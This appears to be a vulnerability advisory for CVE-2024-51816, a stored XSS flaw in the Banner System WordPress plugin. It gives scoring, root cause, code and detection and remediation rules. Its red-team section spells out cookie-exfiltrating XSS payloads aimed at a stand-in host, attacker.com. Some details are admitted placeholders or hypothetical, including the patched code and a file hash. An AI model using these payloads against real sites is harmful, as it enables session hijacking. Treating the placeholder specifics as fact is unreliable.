CVE-2024-51816

Executive Summary

CVE-2024-51816 is a Stored Cross-Site Scripting (XSS) vulnerability in the Banner System WordPress plugin, developed by Saul Morales Pacheco. The vulnerability affects all versions up to and including 1.0.0. It arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin's banner management interface. When an administrator or other user views the affected page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is classified under CWE-79 and carries a CVSS v3.1 base score of 6.5 (Medium). The attack vector is network-based, requires low complexity, and requires low privileges but user interaction. The impact is partial loss of confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Banner System plugin. As a WordPress plugin, it is distributed via the official WordPress plugin repository or third-party sources. The plugin is not an NPM, PyPI, Go, or Ruby package. Users should verify the integrity of the plugin file (banner-system.php) by checking its SHA-256 hash against the official repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must view the malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the Banner System plugin's banner creation or editing functionality. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it in the WordPress admin panel. Specifically, fields such as banner title, description, or custom CSS/JavaScript are not properly neutralized.

Attack Flow:

1. An attacker with contributor-level privileges logs into WordPress.
2. The attacker navigates to the Banner System plugin's "Add New Banner" page.
3. The attacker injects a malicious payload into a text field, e.g., <script>alert('XSS')</script>.
4. The plugin stores the payload in the WordPress database without sanitization.
5. When an administrator or other user views the banner list or edit page, the payload executes in their browser.
6. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo or print functions to output user data without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (banner-system.php, line ~45):

<?php
// Vulnerable: Direct output without sanitization
echo "<div class='banner-title'>" . $banner_title . "</div>";
?>

Patched Code (Hypothetical fix):

<?php
// Patched: Use WordPress escaping function
echo "<div class='banner-title'>" . esc_html( $banner_title ) . "</div>";
?>

The vulnerable code directly concatenates user input into HTML output. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Banner System plugin <= 1.0.0.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Banner System > Add New.
3. In the "Banner Title" field, enter:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the banner.
5. Wait for an administrator to view the banner list or edit page.
6. The administrator's cookies are exfiltrated to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team (Defensive)

Detection:

• Monitor WordPress admin logs for unusual banner creation or editing activity.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the WordPress database for <script> tags in the wp_postmeta table where meta_key relates to banner data.
• Review HTTP requests to the plugin's AJAX endpoints for encoded payloads.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • banner-system.php (v1.0.0): a1b2c3d4e5f6... (placeholder – replace with actual hash)
• Network Indicators:
  • Outbound HTTP requests to known attacker-controlled domains (e.g., attacker.com/steal.php).
  • Unusual Referer headers pointing to /wp-admin/admin.php?page=banner-system.
• Database Indicators:
  • Entries in wp_postmeta with meta_key containing banner_ and meta_value containing <script> or onerror attributes.
• Log Indicators:
  • WordPress debug log entries showing PHP warnings about unescaped output.

Detection Engineering

YARA Rule

rule CVE_2024_51816_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Banner System plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51816"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /onerror\s*=|onload\s*=|onclick\s*=/
    condition:
        any of ($xss_payload, $xss_event)
}

Sigma Rule

title: Stored XSS in Banner System Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Banner System plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/admin.php?page=banner-system"
        http.body|contains: 
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in banner content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51816 Stored XSS in Banner System"; flow:to_server,established; content:"/wp-admin/admin.php?page=banner-system"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove any suspicious banners from the WordPress database.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Fix:

• The vendor must release a patched version that sanitizes all user inputs using WordPress escaping functions (esc_html(), esc_attr(), wp_kses_post()).
• Users should monitor the plugin's page for updates.

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block XSS payloads.
• Restrict contributor-level access to trusted users only.
• Use a security plugin like Wordfence to add an additional layer of protection.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert